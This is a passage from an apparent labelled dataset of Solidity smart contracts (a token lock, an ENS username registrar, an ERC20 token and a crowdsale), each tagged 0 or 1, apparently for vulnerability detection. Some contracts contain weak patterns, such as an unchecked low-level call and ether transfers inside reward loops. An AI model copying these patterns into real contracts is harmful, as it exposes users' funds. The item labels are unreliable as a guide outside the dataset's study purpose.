emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 26006400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x0dff28F86863569ed9C98bA943daa23113215184;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.24;
library MerkleProof {
function verifyProof(
bytes32[] _proof,
bytes32 _root,
bytes32 _leaf
)
internal
pure
returns (bool)
{
bytes32 computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 proofElement = _proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == _root;
}
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() internal {
controller = msg.sender;
}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
interface ENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public;
function setResolver(bytes32 node, address resolver) public;
function setOwner(bytes32 node, address owner) public;
function setTTL(bytes32 node, uint64 ttl) public;
function owner(bytes32 node) public view returns (address);
function resolver(bytes32 node) public view returns (address);
function ttl(bytes32 node) public view returns (uint64);
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
event MultihashChanged(bytes32 indexed node, bytes hash);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
bytes multihash;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
constructor(ENS ensAddr) public {
ens = ensAddr;
}
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
function setMultihash(bytes32 node, bytes hash) public only_owner(node) {
records[node].multihash = hash;
emit MultihashChanged(node, hash);
}
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
function multihash(bytes32 node) public view returns (bytes) {
return records[node].multihash;
}
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == MULTIHASH_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
}
contract UsernameRegistrar is Controlled, ApproveAndCallFallBack {
ERC20Token public token;
ENS public ensRegistry;
PublicResolver public resolver;
address public parentRegistry;
uint256 public constant releaseDelay = 365 days;
mapping (bytes32 => Account) public accounts;
mapping (bytes32 => SlashReserve) reservedSlashers;
uint256 public usernameMinLength;
bytes32 public reservedUsernamesMerkleRoot;
event RegistryState(RegistrarState state);
event RegistryPrice(uint256 price);
event RegistryMoved(address newRegistry);
event UsernameOwner(bytes32 indexed nameHash, address owner);
enum RegistrarState { Inactive, Active, Moved }
bytes32 public ensNode;
uint256 public price;
RegistrarState public state;
uint256 public reserveAmount;
struct Account {
uint256 balance;
uint256 creationTime;
address owner;
}
struct SlashReserve {
address reserver;
uint256 blockNumber;
}
modifier onlyParentRegistry {
require(msg.sender == parentRegistry, "Migration only.");
_;
}
constructor(
ERC20Token _token,
ENS _ensRegistry,
PublicResolver _resolver,
bytes32 _ensNode,
uint256 _usernameMinLength,
bytes32 _reservedUsernamesMerkleRoot,
address _parentRegistry
)
public
{
require(address(_token) != address(0), "No ERC20Token address defined.");
require(address(_ensRegistry) != address(0), "No ENS address defined.");
require(address(_resolver) != address(0), "No Resolver address defined.");
require(_ensNode != bytes32(0), "No ENS node defined.");
token = _token;
ensRegistry = _ensRegistry;
resolver = _resolver;
ensNode = _ensNode;
usernameMinLength = _usernameMinLength;
reservedUsernamesMerkleRoot = _reservedUsernamesMerkleRoot;
parentRegistry = _parentRegistry;
setState(RegistrarState.Inactive);
}
function register(
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
external
returns(bytes32 namehash)
{
return registerUser(msg.sender, _label, _account, _pubkeyA, _pubkeyB);
}
function release(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
Account memory account = accounts[_label];
require(account.creationTime > 0, "Username not registered.");
if (state == RegistrarState.Active) {
require(msg.sender == ensRegistry.owner(namehash), "Not owner of ENS node.");
require(block.timestamp > account.creationTime + releaseDelay, "Release period not reached.");
} else {
require(msg.sender == account.owner, "Not the former account owner.");
}
delete accounts[_label];
if (account.balance > 0) {
reserveAmount -= account.balance;
require(token.transfer(msg.sender, account.balance), "Transfer failed");
}
if (state == RegistrarState.Active) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
} else {
address newOwner = ensRegistry.owner(ensNode);
!newOwner.call.gas(80000)(
abi.encodeWithSignature(
"dropUsername(bytes32)",
_label
)
);
}
emit UsernameOwner(namehash, address(0));
}
function updateAccountOwner(
bytes32 _label
)
external
{
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
require(msg.sender == ensRegistry.owner(namehash), "Caller not owner of ENS node.");
require(accounts[_label].creationTime > 0, "Username not registered.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owner of registry.");
accounts[_label].owner = msg.sender;
emit UsernameOwner(namehash, msg.sender);
}
function reserveSlash(bytes32 _secret) external {
require(reservedSlashers[_secret].blockNumber == 0, "Already Reserved");
reservedSlashers[_secret] = SlashReserve(msg.sender, block.number);
}
function slashSmallUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length < usernameMinLength, "Not a small username.");
slashUsername(username, _reserveSecret);
}
function slashAddressLikeUsername(
string _username,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > 12, "Too small to look like an address.");
require(username[0] == byte("0"), "First character need to be 0");
require(username[1] == byte("x"), "Second character need to be x");
for(uint i = 2; i < 7; i++){
byte b = username[i];
require((b >= 48 && b <= 57) || (b >= 97 && b <= 102), "Does not look like an address");
}
slashUsername(username, _reserveSecret);
}
function slashReservedUsername(
string _username,
bytes32[] _proof,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(
MerkleProof.verifyProof(
_proof,
reservedUsernamesMerkleRoot,
keccak256(username)
),
"Invalid Proof."
);
slashUsername(username, _reserveSecret);
}
function slashInvalidUsername(
string _username,
uint256 _offendingPos,
uint256 _reserveSecret
)
external
{
bytes memory username = bytes(_username);
require(username.length > _offendingPos, "Invalid position.");
byte b = username[_offendingPos];
require(!((b >= 48 && b <= 57) || (b >= 97 && b <= 122)), "Not invalid character.");
slashUsername(username, _reserveSecret);
}
function eraseNode(
bytes32[] _labels
)
external
{
uint len = _labels.length;
require(len != 0, "Nothing to erase");
bytes32 label = _labels[len - 1];
bytes32 subnode = keccak256(abi.encodePacked(ensNode, label));
require(ensRegistry.owner(subnode) == address(0), "First slash/release top level subdomain");
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
if(len > 1) {
eraseNodeHierarchy(len - 2, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function moveAccount(
bytes32 _label,
UsernameRegistrar _newRegistry
)
external
{
require(state == RegistrarState.Moved, "Wrong contract state");
require(msg.sender == accounts[_label].owner, "Callable only by account owner.");
require(ensRegistry.owner(ensNode) == address(_newRegistry), "Wrong update");
Account memory account = accounts[_label];
delete accounts[_label];
token.approve(_newRegistry, account.balance);
_newRegistry.migrateUsername(
_label,
account.balance,
account.creationTime,
account.owner
);
}
function activate(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Inactive, "Registry state is not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "Registry does not own registry");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function setResolver(
address _resolver
)
external
onlyController
{
resolver = PublicResolver(_resolver);
}
function updateRegistryPrice(
uint256 _price
)
external
onlyController
{
require(state == RegistrarState.Active, "Registry not owned");
price = _price;
emit RegistryPrice(_price);
}
function moveRegistry(
UsernameRegistrar _newRegistry
)
external
onlyController
{
require(_newRegistry != this, "Cannot move to self.");
require(ensRegistry.owner(ensNode) == address(this), "Registry not owned anymore.");
setState(RegistrarState.Moved);
ensRegistry.setOwner(ensNode, _newRegistry);
_newRegistry.migrateRegistry(price);
emit RegistryMoved(_newRegistry);
}
function dropUsername(
bytes32 _label
)
external
onlyParentRegistry
{
require(accounts[_label].creationTime == 0, "Already migrated");
bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
}
function withdrawExcessBalance(
address _token,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn token");
if (_token == address(0)) {
_beneficiary.transfer(address(this).balance);
} else {
ERC20Token excessToken = ERC20Token(_token);
uint256 amount = excessToken.balanceOf(address(this));
if(_token == address(token)){
require(amount > reserveAmount, "Is not excess");
amount -= reserveAmount;
} else {
require(amount > 0, "No balance");
}
excessToken.transfer(_beneficiary, amount);
}
}
function withdrawWrongNode(
bytes32 _domainHash,
address _beneficiary
)
external
onlyController
{
require(_beneficiary != address(0), "Cannot burn node");
require(_domainHash != ensNode, "Cannot withdraw main node");
require(ensRegistry.owner(_domainHash) == address(this), "Not owner of this node");
ensRegistry.setOwner(_domainHash, _beneficiary);
}
function getPrice()
external
view
returns(uint256 registryPrice)
{
return price;
}
function getAccountBalance(bytes32 _label)
external
view
returns(uint256 accountBalance)
{
accountBalance = accounts[_label].balance;
}
function getAccountOwner(bytes32 _label)
external
view
returns(address owner)
{
owner = accounts[_label].owner;
}
function getCreationTime(bytes32 _label)
external
view
returns(uint256 creationTime)
{
creationTime = accounts[_label].creationTime;
}
function getExpirationTime(bytes32 _label)
external
view
returns(uint256 releaseTime)
{
uint256 creationTime = accounts[_label].creationTime;
if (creationTime > 0){
releaseTime = creationTime + releaseDelay;
}
}
function getSlashRewardPart(bytes32 _label)
external
view
returns(uint256 partReward)
{
uint256 balance = accounts[_label].balance;
if (balance > 0) {
partReward = balance / 3;
}
}
function receiveApproval(
address _from,
uint256 _amount,
address _token,
bytes _data
)
public
{
require(_amount == price, "Wrong value");
require(_token == address(token), "Wrong token");
require(_token == address(msg.sender), "Wrong call");
require(_data.length <= 132, "Wrong data length");
bytes4 sig;
bytes32 label;
address account;
bytes32 pubkeyA;
bytes32 pubkeyB;
(sig, label, account, pubkeyA, pubkeyB) = abiDecodeRegister(_data);
require(
sig == bytes4(0xb82fedbb),
"Wrong method selector"
);
registerUser(_from, label, account, pubkeyA, pubkeyB);
}
function migrateUsername(
bytes32 _label,
uint256 _tokenBalance,
uint256 _creationTime,
address _accountOwner
)
external
onlyParentRegistry
{
if (_tokenBalance > 0) {
require(
token.transferFrom(
parentRegistry,
address(this),
_tokenBalance
),
"Error moving funds from old registar."
);
reserveAmount += _tokenBalance;
}
accounts[_label] = Account(_tokenBalance, _creationTime, _accountOwner);
}
function migrateRegistry(
uint256 _price
)
external
onlyParentRegistry
{
require(state == RegistrarState.Inactive, "Not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "ENS registry owner not transfered.");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function registerUser(
address _owner,
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
internal
returns(bytes32 namehash)
{
require(state == RegistrarState.Active, "Registry not active.");
namehash = keccak256(abi.encodePacked(ensNode, _label));
require(ensRegistry.owner(namehash) == address(0), "ENS node already owned.");
require(accounts[_label].creationTime == 0, "Username already registered.");
accounts[_label] = Account(price, block.timestamp, _owner);
if(price > 0) {
require(token.allowance(_owner, address(this)) >= price, "Unallowed to spend.");
require(
token.transferFrom(
_owner,
address(this),
price
),
"Transfer failed"
);
reserveAmount += price;
}
bool resolvePubkey = _pubkeyA != 0 || _pubkeyB != 0;
bool resolveAccount = _account != address(0);
if (resolvePubkey || resolveAccount) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, resolver);
if (resolveAccount) {
resolver.setAddr(namehash, _account);
}
if (resolvePubkey) {
resolver.setPubkey(namehash, _pubkeyA, _pubkeyB);
}
ensRegistry.setOwner(namehash, _owner);
} else {
ensRegistry.setSubnodeOwner(ensNode, _label, _owner);
}
emit UsernameOwner(namehash, _owner);
}
function slashUsername(
bytes _username,
uint256 _reserveSecret
)
internal
{
bytes32 label = keccak256(_username);
bytes32 namehash = keccak256(abi.encodePacked(ensNode, label));
uint256 amountToTransfer = 0;
uint256 creationTime = accounts[label].creationTime;
address owner = ensRegistry.owner(namehash);
if(creationTime == 0) {
require(
owner != address(0) ||
ensRegistry.resolver(namehash) != address(0),
"Nothing to slash."
);
} else {
assert(creationTime != block.timestamp);
amountToTransfer = accounts[label].balance;
delete accounts[label];
}
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
if (amountToTransfer > 0) {
reserveAmount -= amountToTransfer;
uint256 partialDeposit = amountToTransfer / 3;
amountToTransfer = partialDeposit * 2;
bytes32 secret = keccak256(abi.encodePacked(namehash, creationTime, _reserveSecret));
SlashReserve memory reserve = reservedSlashers[secret];
require(reserve.reserver != address(0), "Not reserved.");
require(reserve.blockNumber < block.number, "Cannot reveal in same block");
delete reservedSlashers[secret];
require(token.transfer(reserve.reserver, amountToTransfer), "Error in transfer.");
}
emit UsernameOwner(namehash, address(0));
}
function setState(RegistrarState _state) private {
state = _state;
emit RegistryState(_state);
}
function eraseNodeHierarchy(
uint _idx,
bytes32[] _labels,
bytes32 _subnode
)
private
{
ensRegistry.setSubnodeOwner(_subnode, _labels[_idx], address(this));
bytes32 subnode = keccak256(abi.encodePacked(_subnode, _labels[_idx]));
if (_idx > 0) {
eraseNodeHierarchy(_idx - 1, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function abiDecodeRegister(
bytes _data
)
private
pure
returns(
bytes4 sig,
bytes32 label,
address account,
bytes32 pubkeyA,
bytes32 pubkeyB
)
{
assembly {
sig := mload(add(_data, add(0x20, 0)))
label := mload(add(_data, 36))
account := mload(add(_data, 68))
pubkeyA := mload(add(_data, 100))
pubkeyB := mload(add(_data, 132))
}
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ScandinavianEKrona is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ScandinavianEKrona() public {
symbol = "SEK";
name = "Scandinavian E-Krona";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x08220b045BDC3d08ed341C0E5afF6D245f6eEBad] = _totalSupply;
Transfer(address(0), 0x08220b045BDC3d08ed341C0E5afF6D245f6eEBad, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(this));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable{
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint(){require(!mintingFinished); _;}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Reward(address indexed to, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.000085 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum += amount;
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
_reward(msg.sender);
for(uint i = 0; i < _to.length; i++) {
_reward(_to[i]);
}
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is CappedToken, BurnableToken, RewardToken {
function Token() CappedToken(1000000000 * 1 ether) StandardToken("JULLAR", "JUL", 18) public {
}
}
contract JullarCrowdsale is Ownable{
using SafeMath for uint;
Token public token;
address private BeneficiaryA = 0x87CC179C88B593Ff7DBDD1B6e9A9F7437Df1880E;
address private BenefB = 0x8ae64056f409BbC00ed03eDC6B350eaB7d842A15;
address private JullarBountyAdr = 0xA2Df1e14632Ed83B1e7A35848dAe7c8623e1D030;
address private JullarPartnersAdr = 0x3d6D84c26a11Ed1123dB68791c80aa7F7ce767C8;
uint public collectedWei;
address[] public JullarTeamAdr;
string public ActiveSalesPhase = "Super PreICO";
string public TokenPriceETH = "0.000085";
uint public tokensSold = 0;
uint private tokensForSale = 20000000 * 1 ether;
uint public priceTokenWei = 85000000000000;
uint private Sb = 1 ether;
uint private oSbA = Sb * 10000000;
uint private oSbB = Sb * 10000000;
uint private JULLARbounty = Sb * 20000000;
uint private JULLARpartner = Sb * 10000000;
bool public crowdsaleClosed = false;
event Rurchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event CrowdsaleClose();
bool public paused = false;
uint public pausestatus = 1;
event Pause();
event StartNextIcoStage();
function pause() onlyOwner public {
pausestatus = 0;
paused = true;
emit Pause();
}
function JullarCrowdsale() public {
token = new Token();
emit Rurchase(BeneficiaryA, oSbA, 0);
emit Rurchase(BenefB, oSbB, 0);
emit Rurchase(JullarBountyAdr, JULLARbounty, 0);
emit Rurchase(JullarPartnersAdr, JULLARpartner, 0);
token.mint(BeneficiaryA, oSbA);
token.mint(BenefB, oSbB);
token.mint(JullarBountyAdr, JULLARbounty);
token.mint(JullarPartnersAdr, JULLARpartner);
}
function() payable public {
if(crowdsaleClosed == false){
purchase();
}
}
function purchase() payable public {
require(pausestatus != 0);
require(!crowdsaleClosed);
require(tokensSold < tokensForSale);
require(msg.value >= 0.000085 * 1 ether);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(priceTokenWei);
uint retSum = 0;
if(tokensSold.add(amount) > tokensForSale) {
uint retAmount = tokensSold.add(amount).sub(tokensForSale);
retSum = retAmount.mul(priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
tokensSold = tokensSold.add(amount);
collectedWei = collectedWei.add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
emit Rurchase(msg.sender, amount, sum);
}
function StartNextStage() onlyOwner public {
require(!crowdsaleClosed);
require(pausestatus != 1);
pausestatus = 1;
paused = false;
emit StartNextIcoStage();
}
function NewStage(uint _newpricewei, string _stagename, string _TokenPriceETH, uint _TokenForSale) onlyOwner public {
require(!crowdsaleClosed);
require(pausestatus != 1);
tokensForSale = _TokenForSale * 1 ether;
ActiveSalesPhase = _stagename;
priceTokenWei = _newpricewei;
TokenPriceETH = _TokenPriceETH;
}
function AddAdrJullarTeam(address _address) onlyOwner public{
require(JullarTeamAdr.length < 6);
JullarTeamAdr.push(_address);
}
function WithdrawalofFunds(uint _arraynum) onlyOwner public {
require(_arraynum / 1 ether < 6);
JullarTeamAdr[_arraynum].transfer(address(this).balance);
}
